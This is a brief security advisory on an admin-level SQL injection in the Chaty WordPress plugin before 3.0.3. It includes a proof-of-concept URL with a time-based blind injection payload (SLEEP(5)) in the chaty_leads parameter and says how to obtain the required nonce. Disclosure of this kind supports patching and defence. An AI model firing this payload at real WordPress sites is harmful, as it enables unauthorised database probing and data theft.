Chaty < 3.0.3 - Admin+ SQLi

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as admin.

PoC

https://example.com/wp-admin/admin.php?page=chaty-contact-form-feed&amp;remove;_chaty_leads=9a03751f9d&amp;action;=delete_message&amp;paged;=1&amp;search;&amp;chaty;_leads=3)+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)%3B–± To get the nonce, check the source of https://example.com/wp-admin/admin.php?page=chaty-contact-form-feed for remove_chaty_leads